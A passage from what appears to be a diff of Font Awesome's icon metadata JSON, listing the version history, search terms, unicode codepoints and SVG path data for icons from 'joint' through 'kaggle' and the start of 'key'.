212.7-24.9-.5-179.3-3.6-230.3-4.9zm183.8-54.8c-22.7-6-57 11.3-86.7 27.2-29.7 15.8-31.1 8.2-31.1 8.2s40.2-28.1 50.7-34.5 31.9-14 13.4-24.6c-3.2-1.8-6.7-2.7-10.4-2.7-17.8 0-41.5 18.7-67.5 35.6-31.5 20.5-65.3 31.3-65.3 31.3l169.5-1.6 46.5-23.4s3.6-9.5-19.1-15.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M378.1 45C337.6 19.9 292.6 8 248.2 8 165 8 83.8 49.9 36.9 125.9c-71.9 116.6-35.6 269.3 81 341.2s269.3 35.6 341.2-80.9c71.9-116.6 35.6-269.4-81-341.2zm51.8 323.2c-40.4 65.5-110.4 101.5-182 101.5-6.8 0-13.6-.4-20.4-1-9-13.6-19.9-33.3-23.7-42.4-5.7-13.7-27.2-45.6 31.2-67.1 51.7-19.1 176.7-16.5 208.8-17.6-4 9-8.6 17.9-13.9 26.6zm-200.8-86.3c-55.5-1.4-81.7-20.8-58.5-48.2s51.1-40.7 68.9-51.2c17.9-10.5 27.3-33.7-23.6-29.7C87.3 161.5 48.6 252.1 37.6 293c-8.8-49.7-.1-102.7 28.5-149.1C128 43.4 259.6 12.2 360.1 74.1c74.8 46.1 111.2 130.9 99.3 212.7-24.9-.5-179.3-3.6-230.3-4.9zm183.8-54.8c-22.7-6-57 11.3-86.7 27.2-29.7 15.8-31.1 8.2-31.1 8.2s40.2-28.1 50.7-34.5 31.9-14 13.4-24.6c-3.2-1.8-6.7-2.7-10.4-2.7-17.8 0-41.5 18.7-67.5 35.6-31.5 20.5-65.3 31.3-65.3 31.3l169.5-1.6 46.5-23.4s3.6-9.5-19.1-15.5z" + } + }, + "free": [ + "brands" + ] + }, + "joint": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "blunt", + "cannabis", + "doobie", + "drugs", + "marijuana", + "roach", + "smoke", + "smoking", + "spliff" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f595", + "label": "Joint", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635559, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M444.34 181.1c22.38 15.68 35.66 41.16 35.66 68.59V280c0 4.42 3.58 8 8 8h48c4.42 0 8-3.58 8-8v-30.31c0-43.24-21.01-83.41-56.34-108.06C463.85 125.02 448 99.34 448 70.31V8c0-4.42-3.58-8-8-8h-48c-4.42 0-8 3.58-8 8v66.4c0 43.69 24.56 81.63 60.34 106.7zM194.97 358.98C126.03 370.07 59.69 394.69 0 432c83.65 52.28 180.3 80 278.94 80h88.57L254.79 380.49c-14.74-17.2-37.45-25.11-59.82-21.51zM553.28 87.09c-5.67-3.8-9.28-9.96-9.28-16.78V8c0-4.42-3.58-8-8-8h-48c-4.42 0-8 3.58-8 8v62.31c0 22.02 10.17 43.41 28.64 55.39C550.79 153.04 576 199.54 576 249.69V280c0 4.42 3.58 8 8 8h48c4.42 0 8-3.58 8-8v-30.31c0-65.44-32.41-126.19-86.72-162.6zM360.89 352.05c-34.4.06-86.81.15-88.21.17l117.8 137.43A63.987 63.987 0 0 0 439.07 512h88.45L409.57 374.4a63.955 63.955 0 0 0-48.68-22.35zM616 352H432l117.99 137.65A63.987 63.987 0 0 0 598.58 512H616c13.25 0 24-10.75 24-24V376c0-13.26-10.75-24-24-24z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M444.34 181.1c22.38 15.68 35.66 41.16 35.66 68.59V280c0 4.42 3.58 8 8 8h48c4.42 0 8-3.58 8-8v-30.31c0-43.24-21.01-83.41-56.34-108.06C463.85 125.02 448 99.34 448 70.31V8c0-4.42-3.58-8-8-8h-48c-4.42 0-8 3.58-8 8v66.4c0 43.69 24.56 81.63 60.34 106.7zM194.97 358.98C126.03 370.07 59.69 394.69 0 432c83.65 52.28 180.3 80 278.94 80h88.57L254.79 380.49c-14.74-17.2-37.45-25.11-59.82-21.51zM553.28 87.09c-5.67-3.8-9.28-9.96-9.28-16.78V8c0-4.42-3.58-8-8-8h-48c-4.42 0-8 3.58-8 8v62.31c0 22.02 10.17 43.41 28.64 55.39C550.79 153.04 576 199.54 576 249.69V280c0 4.42 3.58 8 8 8h48c4.42 0 8-3.58 8-8v-30.31c0-65.44-32.41-126.19-86.72-162.6zM360.89 352.05c-34.4.06-86.81.15-88.21.17l117.8 137.43A63.987 63.987 0 0 0 439.07 512h88.45L409.57 374.4a63.955 63.955 0 0 0-48.68-22.35zM616 352H432l117.99 137.65A63.987 63.987 0 0 0 598.58 512H616c13.25 0 24-10.75 24-24V376c0-13.26-10.75-24-24-24z" + } + }, + "free": [ + "solid" + ] + }, + "joomla": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1aa", + "label": "Joomla Logo", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861000, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M.6 92.1C.6 58.8 27.4 32 60.4 32c30 0 54.5 21.9 59.2 50.2 32.6-7.6 67.1.6 96.5 30l-44.3 44.3c-20.5-20.5-42.6-16.3-55.4-3.5-14.3 14.3-14.3 37.9 0 52.2l99.5 99.5-44 44.3c-87.7-87.2-49.7-49.7-99.8-99.7-26.8-26.5-35-64.8-24.8-98.9C20.4 144.6.6 120.7.6 92.1zm129.5 116.4l44.3 44.3c10-10 89.7-89.7 99.7-99.8 14.3-14.3 37.6-14.3 51.9 0 12.8 12.8 17 35-3.5 55.4l44 44.3c31.2-31.2 38.5-67.6 28.9-101.2 29.2-4.1 51.9-29.2 51.9-59.5 0-33.2-26.8-60.1-59.8-60.1-30.3 0-55.4 22.5-59.5 51.6-33.8-9.9-71.7-1.5-98.3 25.1-18.3 19.1-71.1 71.5-99.6 99.9zm266.3 152.2c8.2-32.7-.9-68.5-26.3-93.9-11.8-12.2 5 4.7-99.5-99.7l-44.3 44.3 99.7 99.7c14.3 14.3 14.3 37.6 0 51.9-12.8 12.8-35 17-55.4-3.5l-44 44.3c27.6 30.2 68 38.8 102.7 28 5.5 27.4 29.7 48.1 58.9 48.1 33 0 59.8-26.8 59.8-60.1 0-30.2-22.5-55-51.6-59.1zm-84.3-53.1l-44-44.3c-87 86.4-50.4 50.4-99.7 99.8-14.3 14.3-37.6 14.3-51.9 0-13.1-13.4-16.9-35.3 3.2-55.4l-44-44.3c-30.2 30.2-38 65.2-29.5 98.3-26.7 6-46.2 29.9-46.2 58.2C0 453.2 26.8 480 59.8 480c28.6 0 52.5-19.8 58.6-46.7 32.7 8.2 68.5-.6 94.2-26 32.1-32 12.2-12.4 99.5-99.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M.6 92.1C.6 58.8 27.4 32 60.4 32c30 0 54.5 21.9 59.2 50.2 32.6-7.6 67.1.6 96.5 30l-44.3 44.3c-20.5-20.5-42.6-16.3-55.4-3.5-14.3 14.3-14.3 37.9 0 52.2l99.5 99.5-44 44.3c-87.7-87.2-49.7-49.7-99.8-99.7-26.8-26.5-35-64.8-24.8-98.9C20.4 144.6.6 120.7.6 92.1zm129.5 116.4l44.3 44.3c10-10 89.7-89.7 99.7-99.8 14.3-14.3 37.6-14.3 51.9 0 12.8 12.8 17 35-3.5 55.4l44 44.3c31.2-31.2 38.5-67.6 28.9-101.2 29.2-4.1 51.9-29.2 51.9-59.5 0-33.2-26.8-60.1-59.8-60.1-30.3 0-55.4 22.5-59.5 51.6-33.8-9.9-71.7-1.5-98.3 25.1-18.3 19.1-71.1 71.5-99.6 99.9zm266.3 152.2c8.2-32.7-.9-68.5-26.3-93.9-11.8-12.2 5 4.7-99.5-99.7l-44.3 44.3 99.7 99.7c14.3 14.3 14.3 37.6 0 51.9-12.8 12.8-35 17-55.4-3.5l-44 44.3c27.6 30.2 68 38.8 102.7 28 5.5 27.4 29.7 48.1 58.9 48.1 33 0 59.8-26.8 59.8-60.1 0-30.2-22.5-55-51.6-59.1zm-84.3-53.1l-44-44.3c-87 86.4-50.4 50.4-99.7 99.8-14.3 14.3-37.6 14.3-51.9 0-13.1-13.4-16.9-35.3 3.2-55.4l-44-44.3c-30.2 30.2-38 65.2-29.5 98.3-26.7 6-46.2 29.9-46.2 58.2C0 453.2 26.8 480 59.8 480c28.6 0 52.5-19.8 58.6-46.7 32.7 8.2 68.5-.6 94.2-26 32.1-32 12.2-12.4 99.5-99.7z" + } + }, + "free": [ + "brands" + ] + }, + "journal-whills": { + "changes": [ + "5.3.0", + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [ + "book", + "force", + "jedi", + "sith", + "star wars", + "yoda" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f66a", + "label": "Journal of the Whills", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635560, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M438.40625,377.59375c-3.20313,12.8125-3.20313,57.60937,0,73.60937Q447.9922,460.78907,448,470.40625v16c0,16-12.79688,25.59375-25.59375,25.59375H96c-54.40625,0-96-41.59375-96-96V96C0,41.59375,41.59375,0,96,0H422.40625C438.40625,0,448,9.59375,448,25.59375v332.8125Q448,372.79688,438.40625,377.59375ZM380.79688,384H96c-16,0-32,12.79688-32,32s12.79688,32,32,32H380.79688ZM128.01562,176.01562c0,.51563.14063.98438.14063,1.5l37.10937,32.46876A7.99954,7.99954,0,0,1,160,224h-.01562a9.17678,9.17678,0,0,1-5.25-1.98438L131.14062,201.375C142.6875,250.95312,186.90625,288,240,288s97.3125-37.04688,108.875-86.625l-23.59375,20.64062a8.02516,8.02516,0,0,1-5.26563,1.96876H320a9.14641,9.14641,0,0,1-6.01562-2.71876A9.26508,9.26508,0,0,1,312,216a9.097,9.097,0,0,1,2.73438-6.01562l37.10937-32.46876c.01563-.53124.15625-1,.15625-1.51562,0-11.04688-2.09375-21.51562-5.06251-31.59375l-21.26562,21.25a8.00467,8.00467,0,0,1-11.32812-11.3125l26.42187-26.40625a111.81517,111.81517,0,0,0-46.35937-49.26562,63.02336,63.02336,0,0,1-14.0625,82.64062A55.83846,55.83846,0,0,1,251.625,254.73438l-1.42188-34.28126,12.67188,8.625a3.967,3.967,0,0,0,2.25.6875,3.98059,3.98059,0,0,0,3.43749-6.03124l-8.53124-14.3125,17.90625-3.71876a4.00647,4.00647,0,0,0,0-7.84374l-17.90625-3.71876,8.53124-14.3125a3.98059,3.98059,0,0,0-3.43749-6.03124,4.726,4.726,0,0,0-2.25.67187L248.6875,184.125,244,71.82812a4.00386,4.00386,0,0,0-8,0l-4.625,110.8125-12-8.15624a4.003,4.003,0,0,0-5.68751,5.35937l8.53126,14.3125L204.3125,197.875a3.99686,3.99686,0,0,0,0,7.82812l17.90625,3.73438-8.53126,14.29688a4.72469,4.72469,0,0,0-.56249,2.04687,4.59547,4.59547,0,0,0,1.25,2.90625,4.01059,4.01059,0,0,0,2.75,1.09375,4.09016,4.09016,0,0,0,2.25-.6875l10.35937-7.04687L228.375,254.76562a55.86414,55.86414,0,0,1-28.71875-93.45312,63.01119,63.01119,0,0,1-14.04688-82.65625,111.93158,111.93158,0,0,0-46.375,49.26563l26.42187,26.42187a7.99917,7.99917,0,0,1-11.3125,11.3125l-21.26563-21.26563C130.09375,154.48438,128,164.95312,128.01562,176.01562Z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M438.40625,377.59375c-3.20313,12.8125-3.20313,57.60937,0,73.60937Q447.9922,460.78907,448,470.40625v16c0,16-12.79688,25.59375-25.59375,25.59375H96c-54.40625,0-96-41.59375-96-96V96C0,41.59375,41.59375,0,96,0H422.40625C438.40625,0,448,9.59375,448,25.59375v332.8125Q448,372.79688,438.40625,377.59375ZM380.79688,384H96c-16,0-32,12.79688-32,32s12.79688,32,32,32H380.79688ZM128.01562,176.01562c0,.51563.14063.98438.14063,1.5l37.10937,32.46876A7.99954,7.99954,0,0,1,160,224h-.01562a9.17678,9.17678,0,0,1-5.25-1.98438L131.14062,201.375C142.6875,250.95312,186.90625,288,240,288s97.3125-37.04688,108.875-86.625l-23.59375,20.64062a8.02516,8.02516,0,0,1-5.26563,1.96876H320a9.14641,9.14641,0,0,1-6.01562-2.71876A9.26508,9.26508,0,0,1,312,216a9.097,9.097,0,0,1,2.73438-6.01562l37.10937-32.46876c.01563-.53124.15625-1,.15625-1.51562,0-11.04688-2.09375-21.51562-5.06251-31.59375l-21.26562,21.25a8.00467,8.00467,0,0,1-11.32812-11.3125l26.42187-26.40625a111.81517,111.81517,0,0,0-46.35937-49.26562,63.02336,63.02336,0,0,1-14.0625,82.64062A55.83846,55.83846,0,0,1,251.625,254.73438l-1.42188-34.28126,12.67188,8.625a3.967,3.967,0,0,0,2.25.6875,3.98059,3.98059,0,0,0,3.43749-6.03124l-8.53124-14.3125,17.90625-3.71876a4.00647,4.00647,0,0,0,0-7.84374l-17.90625-3.71876,8.53124-14.3125a3.98059,3.98059,0,0,0-3.43749-6.03124,4.726,4.726,0,0,0-2.25.67187L248.6875,184.125,244,71.82812a4.00386,4.00386,0,0,0-8,0l-4.625,110.8125-12-8.15624a4.003,4.003,0,0,0-5.68751,5.35937l8.53126,14.3125L204.3125,197.875a3.99686,3.99686,0,0,0,0,7.82812l17.90625,3.73438-8.53126,14.29688a4.72469,4.72469,0,0,0-.56249,2.04687,4.59547,4.59547,0,0,0,1.25,2.90625,4.01059,4.01059,0,0,0,2.75,1.09375,4.09016,4.09016,0,0,0,2.25-.6875l10.35937-7.04687L228.375,254.76562a55.86414,55.86414,0,0,1-28.71875-93.45312,63.01119,63.01119,0,0,1-14.04688-82.65625,111.93158,111.93158,0,0,0-46.375,49.26563l26.42187,26.42187a7.99917,7.99917,0,0,1-11.3125,11.3125l-21.26563-21.26563C130.09375,154.48438,128,164.95312,128.01562,176.01562Z" + } + }, + "free": [ + "solid" + ] + }, + "js": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3b8", + "label": "JavaScript (JS)", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861001, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32v448h448V32H0zm243.8 349.4c0 43.6-25.6 63.5-62.9 63.5-33.7 0-53.2-17.4-63.2-38.5l34.3-20.7c6.6 11.7 12.6 21.6 27.1 21.6 13.8 0 22.6-5.4 22.6-26.5V237.7h42.1v143.7zm99.6 63.5c-39.1 0-64.4-18.6-76.7-43l34.3-19.8c9 14.7 20.8 25.6 41.5 25.6 17.4 0 28.6-8.7 28.6-20.8 0-14.4-11.4-19.5-30.7-28l-10.5-4.5c-30.4-12.9-50.5-29.2-50.5-63.5 0-31.6 24.1-55.6 61.6-55.6 26.8 0 46 9.3 59.8 33.7L368 290c-7.2-12.9-15-18-27.1-18-12.3 0-20.1 7.8-20.1 18 0 12.6 7.8 17.7 25.9 25.6l10.5 4.5c35.8 15.3 55.9 31 55.9 66.2 0 37.8-29.8 58.6-69.7 58.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M0 32v448h448V32H0zm243.8 349.4c0 43.6-25.6 63.5-62.9 63.5-33.7 0-53.2-17.4-63.2-38.5l34.3-20.7c6.6 11.7 12.6 21.6 27.1 21.6 13.8 0 22.6-5.4 22.6-26.5V237.7h42.1v143.7zm99.6 63.5c-39.1 0-64.4-18.6-76.7-43l34.3-19.8c9 14.7 20.8 25.6 41.5 25.6 17.4 0 28.6-8.7 28.6-20.8 0-14.4-11.4-19.5-30.7-28l-10.5-4.5c-30.4-12.9-50.5-29.2-50.5-63.5 0-31.6 24.1-55.6 61.6-55.6 26.8 0 46 9.3 59.8 33.7L368 290c-7.2-12.9-15-18-27.1-18-12.3 0-20.1 7.8-20.1 18 0 12.6 7.8 17.7 25.9 25.6l10.5 4.5c35.8 15.3 55.9 31 55.9 66.2 0 37.8-29.8 58.6-69.7 58.6z" + } + }, + "free": [ + "brands" + ] + }, + "js-square": { + "changes": [ + "5.0.0", + "5.0.3" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3b9", + "label": "JavaScript (JS) Square", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861000, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM243.8 381.4c0 43.6-25.6 63.5-62.9 63.5-33.7 0-53.2-17.4-63.2-38.5l34.3-20.7c6.6 11.7 12.6 21.6 27.1 21.6 13.8 0 22.6-5.4 22.6-26.5V237.7h42.1v143.7zm99.6 63.5c-39.1 0-64.4-18.6-76.7-43l34.3-19.8c9 14.7 20.8 25.6 41.5 25.6 17.4 0 28.6-8.7 28.6-20.8 0-14.4-11.4-19.5-30.7-28l-10.5-4.5c-30.4-12.9-50.5-29.2-50.5-63.5 0-31.6 24.1-55.6 61.6-55.6 26.8 0 46 9.3 59.8 33.7L368 290c-7.2-12.9-15-18-27.1-18-12.3 0-20.1 7.8-20.1 18 0 12.6 7.8 17.7 25.9 25.6l10.5 4.5c35.8 15.3 55.9 31 55.9 66.2 0 37.8-29.8 58.6-69.7 58.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM243.8 381.4c0 43.6-25.6 63.5-62.9 63.5-33.7 0-53.2-17.4-63.2-38.5l34.3-20.7c6.6 11.7 12.6 21.6 27.1 21.6 13.8 0 22.6-5.4 22.6-26.5V237.7h42.1v143.7zm99.6 63.5c-39.1 0-64.4-18.6-76.7-43l34.3-19.8c9 14.7 20.8 25.6 41.5 25.6 17.4 0 28.6-8.7 28.6-20.8 0-14.4-11.4-19.5-30.7-28l-10.5-4.5c-30.4-12.9-50.5-29.2-50.5-63.5 0-31.6 24.1-55.6 61.6-55.6 26.8 0 46 9.3 59.8 33.7L368 290c-7.2-12.9-15-18-27.1-18-12.3 0-20.1 7.8-20.1 18 0 12.6 7.8 17.7 25.9 25.6l10.5 4.5c35.8 15.3 55.9 31 55.9 66.2 0 37.8-29.8 58.6-69.7 58.6z" + } + }, + "free": [ + "brands" + ] + }, + "jsfiddle": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1cc", + "label": "jsFiddle", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861001, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M510.634 237.462c-4.727-2.621-5.664-5.748-6.381-10.776-2.352-16.488-3.539-33.619-9.097-49.095-35.895-99.957-153.99-143.386-246.849-91.646-27.37 15.25-48.971 36.369-65.493 63.903-3.184-1.508-5.458-2.71-7.824-3.686-30.102-12.421-59.049-10.121-85.331 9.167-25.531 18.737-36.422 44.548-32.676 76.408.355 3.025-1.967 7.621-4.514 9.545-39.712 29.992-56.031 78.065-41.902 124.615 13.831 45.569 57.514 79.796 105.608 81.433 30.291 1.031 60.637.546 90.959.539 84.041-.021 168.09.531 252.12-.48 52.664-.634 96.108-36.873 108.212-87.293 11.54-48.074-11.144-97.3-56.832-122.634zm21.107 156.88c-18.23 22.432-42.343 35.253-71.28 35.65-56.874.781-113.767.23-170.652.23 0 .7-163.028.159-163.728.154-43.861-.332-76.739-19.766-95.175-59.995-18.902-41.245-4.004-90.848 34.186-116.106 9.182-6.073 12.505-11.566 10.096-23.136-5.49-26.361 4.453-47.956 26.42-62.981 22.987-15.723 47.422-16.146 72.034-3.083 10.269 5.45 14.607 11.564 22.198-2.527 14.222-26.399 34.557-46.727 60.671-61.294 97.46-54.366 228.37 7.568 230.24 132.697.122 8.15 2.412 12.428 9.848 15.894 57.56 26.829 74.456 96.122 35.142 144.497zm-87.789-80.499c-5.848 31.157-34.622 55.096-66.666 55.095-16.953-.001-32.058-6.545-44.079-17.705-27.697-25.713-71.141-74.98-95.937-93.387-20.056-14.888-41.99-12.333-60.272 3.782-49.996 44.071 15.859 121.775 67.063 77.188 4.548-3.96 7.84-9.543 12.744-12.844 8.184-5.509 20.766-.884 13.168 10.622-17.358 26.284-49.33 38.197-78.863 29.301-28.897-8.704-48.84-35.968-48.626-70.179 1.225-22.485 12.364-43.06 35.414-55.965 22.575-12.638 46.369-13.146 66.991 2.474C295.68 280.7 320.467 323.97 352.185 343.47c24.558 15.099 54.254 7.363 68.823-17.506 28.83-49.209-34.592-105.016-78.868-63.46-3.989 3.744-6.917 8.932-11.41 11.72-10.975 6.811-17.333-4.113-12.809-10.353 20.703-28.554 50.464-40.44 83.271-28.214 31.429 11.714 49.108 44.366 42.76 78.186z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M510.634 237.462c-4.727-2.621-5.664-5.748-6.381-10.776-2.352-16.488-3.539-33.619-9.097-49.095-35.895-99.957-153.99-143.386-246.849-91.646-27.37 15.25-48.971 36.369-65.493 63.903-3.184-1.508-5.458-2.71-7.824-3.686-30.102-12.421-59.049-10.121-85.331 9.167-25.531 18.737-36.422 44.548-32.676 76.408.355 3.025-1.967 7.621-4.514 9.545-39.712 29.992-56.031 78.065-41.902 124.615 13.831 45.569 57.514 79.796 105.608 81.433 30.291 1.031 60.637.546 90.959.539 84.041-.021 168.09.531 252.12-.48 52.664-.634 96.108-36.873 108.212-87.293 11.54-48.074-11.144-97.3-56.832-122.634zm21.107 156.88c-18.23 22.432-42.343 35.253-71.28 35.65-56.874.781-113.767.23-170.652.23 0 .7-163.028.159-163.728.154-43.861-.332-76.739-19.766-95.175-59.995-18.902-41.245-4.004-90.848 34.186-116.106 9.182-6.073 12.505-11.566 10.096-23.136-5.49-26.361 4.453-47.956 26.42-62.981 22.987-15.723 47.422-16.146 72.034-3.083 10.269 5.45 14.607 11.564 22.198-2.527 14.222-26.399 34.557-46.727 60.671-61.294 97.46-54.366 228.37 7.568 230.24 132.697.122 8.15 2.412 12.428 9.848 15.894 57.56 26.829 74.456 96.122 35.142 144.497zm-87.789-80.499c-5.848 31.157-34.622 55.096-66.666 55.095-16.953-.001-32.058-6.545-44.079-17.705-27.697-25.713-71.141-74.98-95.937-93.387-20.056-14.888-41.99-12.333-60.272 3.782-49.996 44.071 15.859 121.775 67.063 77.188 4.548-3.96 7.84-9.543 12.744-12.844 8.184-5.509 20.766-.884 13.168 10.622-17.358 26.284-49.33 38.197-78.863 29.301-28.897-8.704-48.84-35.968-48.626-70.179 1.225-22.485 12.364-43.06 35.414-55.965 22.575-12.638 46.369-13.146 66.991 2.474C295.68 280.7 320.467 323.97 352.185 343.47c24.558 15.099 54.254 7.363 68.823-17.506 28.83-49.209-34.592-105.016-78.868-63.46-3.989 3.744-6.917 8.932-11.41 11.72-10.975 6.811-17.333-4.113-12.809-10.353 20.703-28.554 50.464-40.44 83.271-28.214 31.429 11.714 49.108 44.366 42.76 78.186z" + } + }, + "free": [ + "brands" + ] + }, + "kaaba": { + "changes": [ + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "building", + "cube", + "islam", + "muslim" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f66b", + "label": "Kaaba", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635560, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M554.12 83.51L318.36 4.93a95.962 95.962 0 0 0-60.71 0L21.88 83.51A32.006 32.006 0 0 0 0 113.87v49.01l265.02-79.51c15.03-4.5 30.92-4.5 45.98 0l265 79.51v-49.01c0-13.77-8.81-26-21.88-30.36zm-279.9 30.52L0 196.3v228.38c0 15 10.42 27.98 25.06 31.24l242.12 53.8a95.937 95.937 0 0 0 41.65 0l242.12-53.8c14.64-3.25 25.06-16.24 25.06-31.24V196.29l-274.2-82.26c-9.04-2.72-18.59-2.72-27.59 0zM128 230.11c0 3.61-2.41 6.77-5.89 7.72l-80 21.82C37.02 261.03 32 257.2 32 251.93v-16.58c0-3.61 2.41-6.77 5.89-7.72l80-21.82c5.09-1.39 10.11 2.44 10.11 7.72v16.58zm144-39.28c0 3.61-2.41 6.77-5.89 7.72l-96 26.18c-5.09 1.39-10.11-2.44-10.11-7.72v-16.58c0-3.61 2.41-6.77 5.89-7.72l96-26.18c5.09-1.39 10.11 2.44 10.11 7.72v16.58zm176 22.7c0-5.28 5.02-9.11 10.11-7.72l80 21.82c3.48.95 5.89 4.11 5.89 7.72v16.58c0 5.28-5.02 9.11-10.11 7.72l-80-21.82a7.997 7.997 0 0 1-5.89-7.72v-16.58zm-144-39.27c0-5.28 5.02-9.11 10.11-7.72l96 26.18c3.48.95 5.89 4.11 5.89 7.72v16.58c0 5.28-5.02 9.11-10.11 7.72l-96-26.18a7.997 7.997 0 0 1-5.89-7.72v-16.58z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M554.12 83.51L318.36 4.93a95.962 95.962 0 0 0-60.71 0L21.88 83.51A32.006 32.006 0 0 0 0 113.87v49.01l265.02-79.51c15.03-4.5 30.92-4.5 45.98 0l265 79.51v-49.01c0-13.77-8.81-26-21.88-30.36zm-279.9 30.52L0 196.3v228.38c0 15 10.42 27.98 25.06 31.24l242.12 53.8a95.937 95.937 0 0 0 41.65 0l242.12-53.8c14.64-3.25 25.06-16.24 25.06-31.24V196.29l-274.2-82.26c-9.04-2.72-18.59-2.72-27.59 0zM128 230.11c0 3.61-2.41 6.77-5.89 7.72l-80 21.82C37.02 261.03 32 257.2 32 251.93v-16.58c0-3.61 2.41-6.77 5.89-7.72l80-21.82c5.09-1.39 10.11 2.44 10.11 7.72v16.58zm144-39.28c0 3.61-2.41 6.77-5.89 7.72l-96 26.18c-5.09 1.39-10.11-2.44-10.11-7.72v-16.58c0-3.61 2.41-6.77 5.89-7.72l96-26.18c5.09-1.39 10.11 2.44 10.11 7.72v16.58zm176 22.7c0-5.28 5.02-9.11 10.11-7.72l80 21.82c3.48.95 5.89 4.11 5.89 7.72v16.58c0 5.28-5.02 9.11-10.11 7.72l-80-21.82a7.997 7.997 0 0 1-5.89-7.72v-16.58zm-144-39.27c0-5.28 5.02-9.11 10.11-7.72l96 26.18c3.48.95 5.89 4.11 5.89 7.72v16.58c0 5.28-5.02 9.11-10.11 7.72l-96-26.18a7.997 7.997 0 0 1-5.89-7.72v-16.58z" + } + }, + "free": [ + "solid" + ] + }, + "kaggle": { + "changes": [ + "5.2.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f5fa", + "label": "Kaggle", + "voted": true, + "svg": { + "brands": { + "last_modified": 1558987775901, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M304.2 501.5L158.4 320.3 298.2 185c2.6-2.7 1.7-10.5-5.3-10.5h-69.2c-3.5 0-7 1.8-10.5 5.3L80.9 313.5V7.5q0-7.5-7.5-7.5H21.5Q14 0 14 7.5v497q0 7.5 7.5 7.5h51.9q7.5 0 7.5-7.5v-109l30.8-29.3 110.5 140.6c3 3.5 6.5 5.3 10.5 5.3h66.9q5.25 0 6-3z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M304.2 501.5L158.4 320.3 298.2 185c2.6-2.7 1.7-10.5-5.3-10.5h-69.2c-3.5 0-7 1.8-10.5 5.3L80.9 313.5V7.5q0-7.5-7.5-7.5H21.5Q14 0 14 7.5v497q0 7.5 7.5 7.5h51.9q7.5 0 7.5-7.5v-109l30.8-29.3 110.5 140.6c3 3.5 6.5 5.3 10.5 5.3h66.9q5.25 0 6-3z" + } + }, + "free": [ + "brands" + ] + }, + "key": { + "changes": [ + "1", + "5.0.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "lock", + "password", + "private", + "secret", + "unlock" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f084", + "label": "key", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635561, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 176.001C512 273.203 433.202 352 336 352c-11.22 0-22.19-1.062-32.827-3.069l-24.012 27.014A23.999 23.999 0 0 1 261.223 384H224v40c0 13.255-10.745 24-24 24h-40v40c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24v-78.059c0-6.365 2.529-12.47 7.029-16.971l161.802-161.802C163.108 213.814 160 195.271 160 176 160 78.798 238.797.001 335.999 0 433.488-.001 512 78.511 512 176.001zM336 128c0 26.51 21.49 48 48 48s48-21.49 48-48-21.49-48-48-48-48 21.49-48 48z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M512 176.001C512 273.203 433.202 352 336 352c-11.22 0-22.19-1.062-32.827-3.069l-24.012 27.014A23.999 23.999 0 0 1 261.223 384H224v40c0 